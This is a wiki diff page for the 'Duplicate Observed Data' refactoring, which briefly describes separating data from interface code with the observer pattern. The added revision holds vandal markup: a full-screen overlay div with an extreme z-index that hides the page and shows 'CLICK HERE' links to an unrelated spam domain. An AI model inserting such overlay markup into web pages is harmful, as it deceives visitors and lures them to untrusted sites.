Duplicate Observed Data
From CSSEMediaWiki
(Difference between revisions)
Brett Ward (Talk | contribs) (This page needs some substance added to it, as the procedure for performing this refactoring is somewhat large and not easily explained) |
|||
Line 3: | Line 3: | ||
The interface will need to become an observer, whilst the data is an observed class. | The interface will need to become an observer, whilst the data is an observed class. | ||
− | == See Also == | + | >== See Also == |
{{Refactoring}} | {{Refactoring}} | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ixowinuhij.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]= | ||
+ | ---- | ||
+ | =[http://ixowinuhij.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 02:31, 18 November 2010
Logic may get thrown in together with the code that handles the user interface, when really it should be split into the two seperate behaviours - the data and the interface. Most of this will be decomposing and moving methods, but the data will need to be duplicated.
The interface will need to become an observer, whilst the data is an observed class.
>== See Also ==